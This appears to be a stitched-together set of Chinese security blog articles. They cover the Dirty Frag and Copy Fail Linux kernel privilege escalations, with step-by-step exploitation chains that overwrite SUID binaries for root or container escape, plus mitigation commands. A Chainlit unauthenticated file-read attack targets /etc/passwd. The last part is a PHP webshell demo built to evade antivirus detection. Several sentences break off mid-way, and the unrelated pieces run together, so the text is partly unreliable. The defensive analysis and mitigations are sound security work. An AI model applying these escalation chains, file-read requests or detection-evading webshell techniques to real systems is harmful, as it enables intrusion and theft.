如果攻击者针对该协议栈发起攻击,将一个受其完全控制且由 splice 系统调用映射的只读文件页缓存强行投递到 RxRPC 的接收处理链条中,解密引擎同样会绕过至关重要的 COW 机制,以不可阻挡的态势,强行在这些本不属于网络栈的外部物理页上覆盖解密后的字节流 。
漏洞逻辑的绝对稳定性:摆脱竞态条件的限制
在操作系统内核漏洞的利用历史中,类似于 Dirty COW(CVE-2016-5195)这样的经典提权漏洞,往往高度依赖于极为苛刻的精确时间窗口来引发竞态条件(Race Condition)。这种依赖性导致漏洞利用在不同 CPU 架构、系统负载或内核版本下的成功率波动极大,甚至频繁导致内核崩溃(Kernel Panic)。
相比之下,Dirty Frag 被安全界定义为一个异常纯粹的“确定性逻辑漏洞”(Deterministic Logic Bug)。在 Dirty Frag 的利用流程中,内存映射的创建、数据包的构造、套接字的发送与接收、以及最终解密函数的调用,其生命周期和执行流是严格确定且串行的。只要攻击者成功触发了带有 MSG_SPLICE_PAGES 标志的快速路径,并迫使内核调用对应的原地加密接口,数据覆写的动作就必定发生。这种冷酷的确定性赋予了该漏洞无与伦比的极高稳定性——其利用成功率在大多数环境下接近 100%,且几乎不会留下导致系统崩溃的内存破坏痕迹。这种特性使得 Dirty Frag 在实战环境
漏洞影响范围
Dirty Frag 漏洞的影响深度和覆盖广度在近年来的内核安全事件中实属罕见。它不仅横跨了长达近 9 年的 Linux 内核发布周期,波及了几乎所有已知的主流企业级操作系统,更对当前依赖内核隔离的云原生架构和多租户商业模式提出了根本性的挑战。
受影响版本与组件图谱
漏洞在内核代码树中的生存周期极长。公开的分析表明:
xfrm-ESP 页缓存污染缺陷: 自内核补丁提交 cac2661c53f3(2017 年 1 月)起,便已潜伏在代码中,这意味着近九年来发布的所有包含 IPsec 组件的内核均在其威胁笼罩之下 17。
RxRPC 页缓存污染缺陷: 自内核补丁提交 2dc334f1a63a(2023 年 6 月)引入,持续影响后续的所有上游内核版本 17。
下表详细汇总了已知受该漏洞直接影响的主流操作系统发行版:
令人极其忧虑的是,在漏洞曝光初期,即便是最新的主线 Linux 内核版本(例如 7.0.3-1 甚至刚发布的 7.0.4 候选版本)同样处于未修补状态,这意味着整个开源生态在一段时间内处于完全的“裸奔”状态。
Dirty Frag 的高危性不仅仅体现在桌面端或传统服务器上,其真正的灾难性影响在于其能够轻易瓦解现代云计算环境中的复杂隔离架构。
多租户共享主机架构的崩溃 在由 CloudLinux 等技术构建的共享主机(Web Hosting)环境中,成百上千个不相关的网站租户或小型企业共享同一个底层 Linux 内核以降低成本。Dirty Frag 允许一个仅拥有极低权限(如受限的 PHP 执行权限或 jailed shell)的恶意租户,通过运行一个简单的 Python 或 C 脚本,瞬间提权为 Root。一旦获取 Root 权限,攻击者即可肆意穿透隔离沙箱,直接访问、篡改或窃取同一物理节点上其他所有租户的数据库凭证、商业机密及用户隐私数据。
Kubernetes 集群的容器逃逸与横向接管 云原生 Kubernetes (K8s) 环境面临着同等级别的风险。如果集群中的工作负载(Pods)未配置极为严格的无特权沙箱机制(例如未通过 Sysctl 显式禁用 unprivileged_userns),攻击者在利用 Web 漏洞攻陷一个看似受限的普通业务容器后,可以利用 Dirty Frag 漏洞执行跨边界打击。由于页缓存机制在宿主机操作系统层面是全局共享的,攻击者能够在容器内部直接修改宿主机底层的基础二进制文件(如 /bin/bash 或 runc)。当宿主机的合法管理员或其他进程调用这些已被注入木马的文件时,攻击者便实现了从容器到宿主
CI/CD 流水线构建环境的风险 在诸如 GitHub Actions、GitLab CI、Jenkins 等持续集成与持续部署(CI/CD)环境中,平台需要频繁运行由外部开发者提交的、潜在不受信任的代码以进行编译和测试。恶意行为者可以通过提交经过伪装的恶意 Pull Request,在构建流水线的 Runner 节点中静默利用 Dirty Frag 提权。由于该漏洞无竞态、不导致崩溃,此类攻击极难被传统的异常检测机制捕获。提权成功后,攻击者可轻易窃取整个代码仓库的环境变量、生产环境的 API 密钥、代码签名证书及底层云基础设施的访问凭证,从而实施极具破坏性的供应链攻击。
漏洞复现
攻击构造分析
Dirty Frag 所提供的核心攻击原语是:有限但高度可控的任意页缓存写入能力(Controlled Arbitrary Write to Page Cache)。受限于内核加密模块内部固定结构和处理块大小的逻辑约束,攻击者或许无法在一次系统调用中写入数兆字节的连续数据。然而,在现代操作系统的二进制执行机制下,这种限制已无关紧要。攻击者只需精确计算偏移量,覆盖关键系统组件(如具有 SUID 标志的 /usr/bin/su、/usr/bin/passwd 二进制文件,或是核心动态链接库 libc.so)中的短短数个关键字节(例如 4 字节的跳转指令覆盖),便足以兵不血刃地彻底改变整个程序的执行
PoC 阶段性执行链路
阶段 1:环境评估与目标劫持锁定
攻击程序首先探测当前系统的架构与内核特性,并选择一个系统中广泛存在且具有 SUID 标志(允许程序以文件所有者即 root 权限运行)的目标文件(如 /usr/bin/su)。程序以普通的只读模式(O_RDONLY)安全打开该文件,并使用内存映射(mmap)技术或直接读取操作,精准定位需要被替换的目标机器指令的内存偏移量。
阶段 2:构建管道与映射 Splice 缓冲区
攻击程序在内存中实例化一个标准的 UNIX 管道(Pipe)。随后,调用 splice() 系统调用,指明将目标文件(/usr/bin/su)的对应文件描述符单向映射到该管道的输入端。在此关键步骤中,内核为追求效率,绝对不会复制任何底层文件数据,而是仅仅将指向该文件物理页缓存的内存管理指针装载到管道内核结构的环形缓冲区(Ring Buffer)内。
阶段 3:特殊套接字初始化与协议栈注入准备 攻击程序进而请求内核分配一个特定的网络套接字。在利用 ESP 漏洞分支的情况下,程序会实例化一个针对 UDP 封装模式的 AF_INET6(或 AF_INET)套接字,并隐蔽地配置相应的 IPsec 策略路由;若采取利用 RxRPC 分支的策略,则会直接创建一个 AF_RXRPC 类型的套接字体系 。
阶段 4:触发 MSG_SPLICE_PAGES 与致命的原地修改 此阶段是整个漏洞链的核心。攻击者使用支持零拷贝的高级网络发送函数(如 sendmsg),明确携带 MSG_SPLICE_PAGES 标志,将之前填充好的管道内容推送至底层的网络协议栈。内核网络子系统顺理成章地将这些源自管道的物理页引用,直接封装进网络数据包 sk_buff 结构的非线性片段数组(frag)中。
随后,当数据流经底层网络栈并进入接收端的数据处理逻辑时,esp_input 或 rxkad_verify_packet_1 函数拦截到了这些数据包。进入密码学处理阶段时,由于缺乏对内存所有权的边界感知,密码学引擎将攻击者在用户态预先控制的“伪造密文”或“状态参数”,通过原地解密(In-place Decryption)机制,直接、暴力地覆写到了那块原本被标记为只读的、属于目标二进制文件的页缓存上。
阶段 5:执行流篡改与权限接管 底层内存覆写瞬间完成。攻击程序随即调用常规的 execve() 系统调用,请求操作系统运行那个看似正常的 /usr/bin/su 文件 16。当内核加载该二进制文件并为其分配执行空间时,由于 Linux 的缓存机制,它直接命中了已经驻留在内存中并被严重污染的页缓存。原本用于执行密码验证逻辑的核心指令,在 CPU 执行时已被偷梁换柱为攻击者注入的反弹 Shell(Reverse Shell)指令或专门的提权 Shellcode。操作系统忠实地执行了这些最高权限指令,随之将一个具有完全 Root 权限的交互式终端拱手让给了底层的攻击者。
漏洞修复
鉴于 Dirty Frag 漏洞属于未经协调即被强制公开的严重 0-day 事件,全球 Linux 基金会、各大商业操作系统供应商以及网络安全机构在极短时间内启动了最高级别的联合应急响应。
官方内核源码修复方案分析
ESP 漏洞修补逻辑 (xfrm-ESP) 针对影响深远的 xfrm-ESP 子系统,Linux 上游的 netdev 代码树在紧急响应后合并了修复补丁,对应的代码提交 ID 为 f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4。 该修复方案的核心技术思路是:在协议栈深处彻底撤销不安全的内存就地操作假设,强制要求系统在网络层进入加密或解密例程之前,必须对非私有属性的内存页执行严格的写时复制(COW)或进行深度的内存所有权校验。补丁通过修改底层结构,确保了在调用 crypto_authenc_esn_decrypt 等需要高频修改数据缓冲区的密码学函数时,目标 s
RxRPC 漏洞修补逻辑 (AF_RXRPC) 针对第二个漏洞分支 RxRPC,相应的修复补丁已被提交至 Linux 内核邮件列表(LKML)进行严谨审查,其对应的技术讨论追踪标识为 afKV2zGR6rrelPC7@v4bel。该补丁全面重构了 rxkad_verify_packet_1 函数的缓冲区遍历与数据提取逻辑,从架构层面明令禁止密码学引擎在由外部传入的、属性未知的不可变页上直接启动 pcbc(fcrypt) 算法的单块解密运算。
各大主流企业级发行版(如 Ubuntu, AlmaLinux, RHEL, Debian)的系统工程师团队正加紧拉取上述上游补丁,并进行繁杂的向后移植(Backport)工作,以将其集成至各自维护的 LTS(长期支持)内核版本中。例如,注重安全响应的 AlmaLinux 已率先在 kernel-6.12.0-124.55.2.el10_1 等测试仓库版本的内核中集成了完整的防御修复。
生产环境应急响应与临时缓解策略
考虑到在复杂的企业数据中心和云基础设施中,大规模的内核升级和系统全局重启往往需要数周的调度窗口,安全响应团队必须在官方稳定版补丁部署前,立即实施非破坏性的临时缓解方案。
1. 阻断攻击路径:禁用受影响的内核模块 (Module Blacklisting)
由于漏洞的触发与利用过程严重依赖于特定底层网络协议栈模块的支撑,当前最直接、最快速且行之有效的缓解措施是阻止 esp4, esp6 和 rxrpc 这三个模块被内核守护进程动态加载至内存中。系统管理员可通过在系统的模块配置文件中写入虚拟的黑名单指令来实现拦截:
# 写入黑名单防护配置,并尝试强制卸载当前可能已加载的脆弱模块
sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
执行上述防护命令后,攻击者在用户态试图使用的恶意 PoC 将因无法请求创建相关的底层网络套接字结构而直接报错退出,原本畅通无阻的漏洞利用链条被硬性切断。此操作具备极高的实施效率(通常耗时不超过 10 秒),且全程无需重启系统服务。当后续应用了官方内核更新后,仅需删除 /etc/modprobe.d/dirtyfrag.conf 文件即可恢复系统原状。
黑名单策略的局限性与兼容性风险评估: 需要强调的是,禁用 esp4 和 esp6 模块将直接导致所有高度依赖内核数据路径的 IPsec 安全隧道(如通过 strongSwan 或 Libreswan 配置的企业级 VPN 节点)陷入瘫痪。同理,禁用 rxrpc 模块将导致那些依赖于 Andrew File System (AFS) 协议的分布式服务无法通信。然而,对于未开启此类隧道的绝大多数通用 Web 业务服务器、数据库集群或微服务节点而言,此方案是完全安全的(它不会对依赖其他机制的隧道协议如 Tailscale, WireGuard, OpenVPN 造成任何负面影响)。
在 AlmaLinux 等特定发行版中,rxrpc 模块可能仅通过特定的 kernel-modules-partner 扩展包提供,此时更彻底的解决方案是直接使用包管理器将其移除:
sudo dnf remove kernel-modules-partner
这能有效削减不必要的内核攻击面。
2. 消除既有威胁:清除被污染的页缓存 (Cache Eviction) 鉴于 Copy Fail 和 Dirty Frag 这类漏洞的特殊机制,它们仅仅修改了驻留在系统动态内存中的页缓存数据,由于巧妙避开了写回触发机制,并未将相应的物理页标记为“脏页”(Dirty,即需要被操作系统写回持久化存储的标志),因此底层磁盘上文件的真实物理内容往往并未受损。
然而,这引发了一个更隐蔽的风险:如果在安全人员介入、模块被禁用或网络阻断之前,系统就已经遭受了隐秘攻击,那么那些被植入了恶意逻辑的指令页可能依然潜伏在活跃的内存缓存中。因此,在实施任何访问控制后,必须通过内核接口强制系统清空缓存,迫使内核抛弃内存中的可疑数据,并在下一次文件访问时从安全的底层磁盘重新读取纯净的二进制数据块:
# 强制内核清空页缓存、目录项 (dentries) 和 inode 缓存
sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
清除缓存前依然可以成功:
清除缓存后失败:
将模块强制隔离与系统级缓存清理紧密结合,可以在缺乏官方有效内核补丁的高危时间窗口内,最大程度地夺回系统控制权并保障核心业务的安全运行。
云环境防御
内核热补丁技术 (Livepatching): 包括 CloudLinux 在内的主流企业级云服务提供商,通过其 KernelCare 等基础设施提供了非颠覆性的热补丁更新方案。这类技术允许运维团队在不中断当前运行进程、不牺牲系统高可用性(SLA)的前提下,将针对 Dirty Frag 的 CVE 修复逻辑直接动态注入到运行中的内核内存空间中,实现了对漏洞的瞬时无感阻断。
非特权用户命名空间限制 (User Namespaces Restriction): 对于无需运行 rootless 容器的普通业务系统,通过系统参数限制无特权用户的命名空间创建权限(如执行 echo 1 | sudo tee /proc/sys/kernel/apparmor_restrict_unprivileged_userns),能够在极大程度上收缩内核的复杂攻击面,阻断此类需要复杂环境构造的提权路径。
基于 eBPF 的无侵入式行为监控引擎: 针对该漏洞高度特征化的攻击行为,防御平台可编写并下发 eBPF(Extended Berkeley Packet Filter)探针,深入内核关键路径,实时监控程序调用 splice() 且目的端句柄指向 AF_INET6(配置为 UDP 封装状态)或 AF_RXRPC 协议等异常行为进程链。通过在运行时设置基于多维时序特征的异常序列检测模型,安全平台可以在漏洞真正触发文件覆写的前置阶段,提前捕获微小的异常状态并精准阻断恶意进程的执行。
CVE-2026-22218 Chainlit 框架任意文件读取漏洞全解析
漏洞简介
Chainlit 是一个开源的 Python 框架,专门用于快速构建对话式人工智能(Conversational AI)应用程序和大语言模型(LLM)接口。该框架基于 FastAPI 和 Socket.IO 构建,提供了丰富的用户界面组件和实时通信能力,使开发者能够轻松创建类似 ChatGPT 的对话界面。Chainlit 广泛应用于聊天机器人、AI 助手、客户服务系统等场景,支持多种 LLM 后端(如 OpenAI、Anthropic Claude、LangChain 等)的集成,并提供了完善的用户认证、会话管理、文件处理等企业级功能。
核心问题:Chainlit 在处理自定义元素(Custom Element)时,没有对用户传入的文件路径做任何验证,也没有对未认证用户进行有效拦截,导致任意人都可以让服务器读取其本地任意文件并通过接口返回给攻击者。
更具体地说,这个漏洞由两个独立的代码缺陷叠加形成:
缺陷一:权限检查形同虚设——当服务器未配置强制身份认证时,核心接口的 if current_user 判断直接被跳过
缺陷二:路径完全不做校验——用户传入的 path 字段被原封不动地传入文件读取函数,攻击者可以指向服务器上任意位置
这两个缺陷单独看都算严重,组合在一起就造成了"无认证+任意文件读取"的高危漏洞
漏洞复现
整个攻击分为两步,合计只需两次 HTTP 请求加一个 WebSocket 连接:
第一步:向 /project/element 发送 PUT 请求,在请求体中注入一个包含任意文件路径(如 /etc/passwd)的 path 字段,触发服务器读取该文件并缓存,同时通过 WebSocket 获得一个"文件令牌"(chainlitKey)
第二步:携带这个文件令牌访问 /project/file/{chainlitKey},服务器直接把刚才读取的文件内容返回给攻击者
创建一个 demo.py
import chainlit as cl
@cl.step(type="tool")
async def tool():
# Fake tool
await cl.sleep(2)
return "Response from the tool!"
@cl.on_message # this function will be called every time a user inputs a message in the UI
async def main(message: cl.Message):
"""
This function is called every time a user inputs a message in the UI.
It sends back an intermediate response from the tool, followed by the final answer.
Args:
message: The user's message.
Returns:
None.
"""
# Call the tool
tool_res = await tool()
await cl.Message(content=tool_res).send()
利用 python 虚拟环境 方便搭建环境
python -m venv venv
venv\Scripts\Activate.ps1
python -m pip install chainlit==2.9.3 #安装存在漏洞的 chainlit 版本
chainlit run demo.py -w
运行构造好的 chainlit_file_read_exploit.py 指定 url 和需要读取的文件内容,就可以将文件打印出来
漏洞分析
第一步是通过调用 PUT /project/element 接口注入恶意文件路径,当攻击者在请求参数中传入包含任意路径的 path 字段时(如 /etc/passwd ),服务器端的 persist_file() 函数会读取该路径指定的文件内容并将其复制到临时目录中,同时将临时文件路径与一个随机生成的文件标识符(file_id)建立映射关系并注入到当前会话的文件映射表(session.files)中,随后服务器通过 WebSocket 消息将这个文件标识符(chainlitKey)推送给客户端,攻击者需要监听 WebSocket 连接来捕获这个关键的文件ID。
server.py#update_thread_element
update_thread_element 函数接收到请求后,首先调用 Element.from_dict() 方法解析请求体中的元素字典,该方法根据 type 字段判断元素类型并创建对应的对象实例,当 type 为 custom 时会创建 CustomElement 对象,随后服务器调用该对象的 update() 方法。
element.py#from_dict
在创建过程中 from_dict() 方法会提取请求中的所有字段包括用户可控的 path 字段并传递给对象构造函数,此时恶意路径(如 /etc/passwd )被完整保存到 CustomElement 对象的 path 属性中。
element.py#CustomElement#update
调用CustomElement 的 update() 方法,该方法内部会调用父类 Element 的 send() 方法。
element.py#Element#send
首先 send() 方法调用 await self._create(persist=persist) 执行文件持久化处理
element.py#Element#create
_create() 方法检测到对象存在 path 属性后会调用 session.persist_file() 函数
session.py#BaseSession#persist_file
session.persist_file() 函数,该函数使用 aiofiles 异步读取攻击者指定路径的文件内容,将内容复制到会话专属的临时目录中(如 /tmp/chainlit/{session_id}/{file_id} ),同时生成一个随机的文件标识符(UUID格式),并在会话的文件映射表(session.files)中建立该标识符与临时文件路径的映射关系。
element.py#Element#send
成文件持久化后 send() 方法执行第二个关键操作,调用 await context.emitter.send_element(self.to_dict()) 将元素信息发送到前端
element.py#Element#to_dict
to_dict() 方法负责将 CustomElement 对象转换为字典格式,该字典包含对象的所有关键属性如 id 、type 、name 、display 以及最重要的 chainlitKey(即刚才获得的文件标识符)
emitter.py#send_element
转换后的字典通过 send_element() 方法传递给 emitter 的 emit 函数
该函数是在 WebSocket 连接建立时注入到会话对象中的闭包函数,它调用 Socket.IO 的全局发送方法将包含 chainlitKey 的元素字典通过 WebSocket 推送给客户端,攻击者通过监听 WebSocket 消息流捕获事件名为 element 的消息,从消息数据中提取 chainlitKey 字段的值即可获得文件标识符,至此完成第一步的路径注入、文件复制和标识符获取操作。
第二步是使用第一步获得的文件标识符访问 GET /project/file/{file_id} 接口来读取文件内容,服务器根据请求中的 session_id 参数定位到对应的会话对象,从该会话的文件映射表中查找文件ID对应的临时文件路径,由于权限检查存在 if current_user: 的逻辑缺陷,未认证用户可以绕过权限验证,服务器直接使用 FileResponse 返回临时文件的内容,而该临时文件已经是目标敏感文件的完整副本,从而实现任意文件读取,整个攻击过程无需任何身份认证,攻击者仅需建立一个匿名 WebSocket 连接即可完成利用。
server.py#get_file
get_file() 函数通过 WebsocketSession.get_by_id() 方法根据 session_id 从全局会话字典中获取对应的会话对象,从该会话对象的 files 映射表中查找 file_id 对应的文件记录,获取其中存储的临时文件路径,最后使用 FileResponse() 直接返回该临时文件的内容给客户端,由于临时文件已经是目标敏感文件的完整副本,攻击者成功获得任意文件的内容。
漏洞修复
目前官方已发布修复版本,建议用户尽快更新至 Chainlit 的修复版本或更高版本:Chainlit ≥ 2.9.4
官方在 2.9.4 版本中通过引入 _sanitize_custom_element() 输入清理函数修复了该漏洞,该函数采用白名单机制重构了 update_thread_element() 和 delete_thread_element() 两个接口的元素处理逻辑,在创建 CustomElement 对象时仅提取并验证 id、name、display、props 等合法字段,而将用户可控的 path 字段从输入参数中完全排除,使得攻击者即使在请求中注入包含路径遍历字符的恶意 path 值,该字段也会在对象构造阶段被自动过滤丢弃,无法传递到后续的文件操作流程中,从根本上阻断了通过 /proje
潜伏9年通杀全版本!Copy Fail 内核提权漏洞分析(CVE-2026-31431)
2026年4月29日,国际安全研究团队Theori的研究员Taeyang Lee正式公开了代号为Copy Fail的Linux内核高危漏洞,官方编号CVE-2026-31431。这一漏洞在Linux内核中潜伏近9年,影响2017年至今几乎所有主流Linux发行版,攻击者仅需获得本地普通用户权限,运行一段732字节的Python脚本,即可稳定获取系统最高root权限,甚至实现容器逃逸,直接突破Kubernetes集群的隔离边界。
相较于历史上名震一时的Dirty Cow、Dirty Pipe等内核提权漏洞,Copy Fail的利用门槛更低、稳定性更强、隐蔽性更高,堪称近年来Linux生态最具威胁的本地提权漏洞之一。本文将从漏洞基础信息、核心原理、利用链路、危害影响到修复方案,进行全方位深度解析。
一、漏洞基础信息速览
二、漏洞核心原理深度解析
Copy Fail漏洞的本质,是三个看似完全合理的内核特性/代码优化,在时间线的交叉中形成了致命的逻辑缺陷,最终导致攻击者可以向只读的文件页缓存(page cache)写入受控数据,实现权限提升。
我们先拆解漏洞形成的三个核心基石,再还原完整的漏洞逻辑:
1. 漏洞形成的三个关键节点
漏洞并非单一代码错误导致,而是长达6年的三次内核变更叠加的结果,每一次变更单独审查都无明显安全问题,组合后却成为了核弹级漏洞:
2011年:authencesn 算法模板加入内核,用于支持IPsec的64位扩展序列号,该算法会在解密操作中,向输入缓冲区的末尾写入4字节的序列号数据,当时仅使用调用者提供的内存作为临时缓冲区,无安全风险。
2015年:内核AF_ALG加密接口新增AEAD算法支持,允许普通用户无特殊权限通过套接字调用内核加密能力,同时支持通过splice()系统调用,将文件页缓存直接传入加密操作,无需用户态内存拷贝。同年authencesn切换新API,但其末尾写入的特性未做变更,此时加密操作采用out-of-place模式,不会直接修改源文件缓存。
2017年:内核提交了72548b093ee3号优化补丁,将AF_ALG的AEAD加密操作改为in-place模式,直接在源数据所在的内存页执行加密/解密操作,减少内存拷贝提升性能。正是这一补丁,彻底打通了漏洞的完整链路,让只读文件的页缓存可以被内核加密逻辑直接修改。
2. 漏洞核心逻辑一句话总结
内核通过in-place优化,将只读的文件页缓存放入了本不该拥有写权限的加密操作散列表中,而authencesn算法在解密过程中,会向输入缓冲区末尾写入攻击者可控的4字节数据,最终实现对只读文件页缓存的受控篡改。
这里有两个关键的技术细节,决定了漏洞的杀伤力:
页缓存(page cache)的特性:Linux内核会将磁盘上的文件加载到内存页缓存中,所有用户态对文件的访问都会优先命中缓存,且缓存是全局共享的——容器与宿主机、不同进程之间,同一个文件的页缓存是同一份。
无磁盘写入的隐蔽篡改:攻击者仅修改内存中的页缓存,不会修改磁盘上的源文件,传统的文件完整性校验工具(如tripwire、AIDE)无法检测到篡改,只有系统重启后缓存才会失效,隐蔽性极强。
三、完整利用链路拆解
Copy Fail的利用过程无竞态条件、无复杂的内存喷射,是一条直线型的攻击路径,稳定性接近100%,完整利用分为6个核心步骤:
步骤1:无权限初始化加密上下文
攻击者以本地普通用户身份,通过AF_ALG套接字初始化AEAD加密上下文,指定使用authencesn算法模板,整个过程无需root权限,Linux默认允许所有用户调用该接口。
步骤2:获取目标setuid程序的只读句柄
攻击者打开系统中自带的setuid root程序(如/usr/bin/su、/usr/bin/sudo),获取其只读文件句柄。这类程序默认属于root用户,且设置了setuid位,普通用户无法直接修改磁盘文件,但可以正常读取执行。
步骤3:通过splice()将页缓存传入内核
攻击者调用splice()系统调用,将目标setuid程序的文件页缓存,零拷贝传入之前初始化的AF_ALG加密套接字中。这一步是漏洞利用的关键——无需将文件内容拷贝到用户态,直接将内核态的只读缓存页交给加密模块处理。
步骤4:触发in-place解密操作,篡改页缓存
攻击者构造特殊的加密输入,触发authencesn算法的解密操作。内核通过in-place模式,直接在传入的只读页缓存上执行解密逻辑,authencesn算法会向输入缓冲区的末尾写入攻击者可控的4字节数据,完成对只读页缓存的静默篡改。
步骤5:注入恶意代码,篡改程序执行逻辑
攻击者通过多次构造输入,向/usr/bin/su的页缓存中注入恶意shellcode,修改其执行逻辑——让原本需要密码验证的su程序,直接为执行用户赋予root权限。
步骤6:执行篡改后的程序,获取root权限
攻击者在用户态执行/usr/bin/su程序,系统会优先执行已经被篡改的内存页缓存中的代码,无需任何密码验证,直接获得UID=0的root shell,完成提权。
容器逃逸拓展利用
由于Linux的页缓存在容器和宿主机之间是全局共享的,攻击者可以在低权限容器中,通过相同的利用链路,篡改宿主机上的setuid程序页缓存。当宿主机上的root用户执行该程序时,就会触发攻击者注入的恶意代码,实现从容器到宿主机的逃逸,直接接管整个Kubernetes节点。
漏洞复现:
四、漏洞危害与影响面
Copy Fail漏洞的危害,远超普通的内核提权漏洞,核心体现在4个维度:
1. 极宽的影响范围,全版本通杀
漏洞影响2017年至今发布的几乎所有Linux内核版本,覆盖Ubuntu、Debian、RHEL、CentOS、SUSE、Amazon Linux、Arch Linux等全球主流发行版,无论是企业级服务器、个人PC、云主机、物联网设备,只要使用了未打补丁的Linux内核,均受影响。
2. 极低的利用门槛,极高的稳定性
漏洞利用无需复杂的内核版本适配,一套732字节的Python脚本即可通杀所有受影响版本;无竞态条件、无内存堆喷、无复杂的漏洞利用技巧,即使是入门级攻击者,也能一键完成提权,且利用成功率接近100%,不会导致系统崩溃。
3. 极强的隐蔽性,传统检测手段失效
攻击者仅修改内存中的页缓存,不会对磁盘上的源文件做任何修改,传统的文件完整性校验、主机入侵检测系统(HIDS)很难检测到攻击行为;只有系统重启后,页缓存才会重置,在此之前,攻击者可以长期维持root权限。
4. 云原生场景致命风险,容器逃逸无压力
在Docker、Kubernetes等容器化场景中,该漏洞可以直接突破容器的隔离边界,攻击者通过低权限容器即可篡改宿主机的文件缓存,实现容器逃逸,进而接管整个集群节点,对企业私有云、公有云容器平台造成毁灭性打击。
五、与历史经典提权漏洞对比
Copy Fail漏洞常被拿来与Dirty Cow、Dirty Pipe对比,但其在多个维度的威胁性都实现了“超越”,核心对比如下:
六、修复方案与应急缓解措施
针对该漏洞,Linux内核社区已发布官方修复补丁,同时提供了临时应急缓解方案,建议所有Linux用户根据自身场景,尽快完成修复。
1. 永久修复方案:升级内核版本
该漏洞的官方修复补丁提交号为a664bf3d603d,核心是回退了2017年的in-place优化补丁,将AF_ALG的AEAD操作改回out-of-place模式,从根源上断开只读页缓存与可写加密操作的连接。
各主流发行版用户,可通过以下命令升级内核至安全版本:
Debian/Ubuntu 系列
apt update && apt upgrade linux-image-generic -y
# 升级完成后必须重启系统生效
reboot
RHEL/CentOS/Rocky Linux 系列
yum update -y
# 升级完成后必须重启系统生效
reboot
Arch Linux 系列
pacman -Syu linux
# LTS版本执行 pacman -Syu linux-lts
# 升级完成后必须重启系统生效
reboot
2. 临时应急缓解措施(无法立即重启升级时使用)
若业务系统无法立即重启升级内核,可通过以下方式临时阻断漏洞利用,且不会影响IPsec等正常加密功能:
方式1:禁用algif_aead内核模块
# 写入模块黑名单,永久禁用
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
# 临时卸载已加载的模块
rmmod algif_aead 2>/dev/null || true
然而,值得高度警惕的是系统状态的“驻留污染”问题。正如漏洞测试者与安全社区成员在 GitHub Issues 中所反馈的,一旦恶意脚本曾被执行,即使后续卸载了存在漏洞的内核模块,或者禁用了其加载,此前通过漏洞越界刮擦写入所污染的二进制代码片段仍然驻留在该服务器的物理页缓存中 。如果不对此类内存态的污染进行清理,依赖受损二进制文件(如 /etc/passwd)的系统服务或认证模块(例如系统管理员日常执行 su 或发生 UID 解析请求的 ls、scp 等应用)仍会出现解析错误,甚至允许被留置的后门继续作为 Root 运行 。
为了确保系统的彻底洁净,除了执行全局重启外,管理员还可以通过特定指令强制回收并驱逐受污染的页缓存。例如,通过向内核虚拟文件系统下达丢弃缓存的强制指令:
echo 3 > /proc/sys/vm/drop_caches
方式2:通过seccomp限制AF_ALG套接字创建
对于容器化业务,可在容器运行时配置seccomp策略,禁止非特权用户创建AF_ALG套接字,阻断容器内的漏洞利用;对于主机业务,可通过systemd配置服务的seccomp规则,限制业务进程的AF_ALG权限。
注意:临时缓解措施仅为应急方案,无法彻底修复漏洞,建议仍在业务窗口期尽快完成内核升级并重启。
七、漏洞启示与总结
Copy Fail漏洞的出现,再次给整个Linux生态和安全行业敲响了警钟:
性能优化与安全的平衡:漏洞的根源是一次为了提升性能的代码优化,在减少内存拷贝的同时,打破了内核的权限隔离边界。内核开发中,任何涉及内存操作、权限边界的优化,都必须经过严格的安全审计,尤其是in-place操作这类直接修改源内存的逻辑。
组合漏洞的审计盲区:单个无风险的特性,与其他特性组合后可能形成致命漏洞,这是内核安全审计的最大难点之一。传统的逐行代码审计很难发现这类跨模块、跨时间线的组合漏洞,基于上下文的全链路安全分析、AI辅助审计将成为未来内核安全的重要方向。
常态化的漏洞管理不可松懈:该漏洞潜伏近9年才被发现,而一旦公开,攻击者可以快速利用其发起攻击。无论是企业还是个人用户,都需要建立常态化的漏洞监测与修复机制,及时跟进内核和系统安全更新,尤其是服务器、云主机等核心资产,必须缩短漏洞修复的窗口期。
截至本文发布,已有多个安全厂商监测到该漏洞的在野利用尝试,建议所有Linux用户立即自查内核版本,尽快完成补丁升级,避免遭受攻击。
参考来源:
Linux内核官方修复补丁:https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=a664bf3d603d
Theori团队官方披露:https://github.com/Theori-Inc/copy-fail-CVE-2026-31431
SuSE安全公告:https://www.suse.com/security/cve/CVE-2026-31431.html
Amazon安全公告:https://explore.alas.aws.amazon.com/CVE-2026-31431.html
Ubuntu安全公告:https://ubuntu.com/security/CVE-2026-31431
厦门大学信息与网络中心漏洞通告:http://inc.xmu.edu.cn/info/1041/9412.htm
Tenable漏洞公告:https://jp.tenable.com/plugins/nessus/309203
PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431、https://github.com/tgies/copy-fail-c
记录一个免杀的php webshell demo
分支对抗
分支对抗简单来说就是利用了增大程序控制分支的复杂度来使得绕过检测引擎,程序在控制流图上往往有几种结构:
那么我们还有其他的改变程序控制流的思路不?此处我用了两种方法混合在一起实现免杀
异常捕获机制
这里使用的是触发异常来完成程序控制流的第一次分支,所以我自己写了一个除以0触发异常的函数
function safeDivide($a, $b) {
if ($b == 0) {
throw new Exception("Division by zero is not allowed.");
}
return $a / $b;
}
设置一个pass传参,我设置的主体框架如下:
try {
echo "result:".safeDivide(2025, ($_GET['pass']-1));
}catch(Exception $e){
// evil code
}
回调
我在php的官方文档里翻到一个有趣的函数
ticks参数可以设置Zend VM opcode执行条数后触发
我们测试一下:
<?php
declare(ticks=15);
function test(){
echo "this is evil code\n";
}
register_tick_function('test');
for ($i = 1; $i <= 12; $i++) {
echo "shell: $i\n";
}
我们可以发现设置declare(ticks=15) 后,PHP每累计到约15个“tickable”执行点,就调用一次通过register_tick_function注册的函数。
那么对于我们的webshell免杀,我们也可以利用这个函数,来完成程序控制流的改变
此处的设计将declare回调放在最外层实现第一次的控制流变化,将异常触发放在内层实现第二次
动态函数调用
这个就是直接使用php的函数了,没啥好说的了
create_function(string $args, string $code): string
实际测试的时候,如果使用变量接受的话,容易被检测
$a = create_function('', '');
$a();
不使用变量来存匿名函数,这个也是尽量减少污点分析时候的特征
@create_function('','')))();
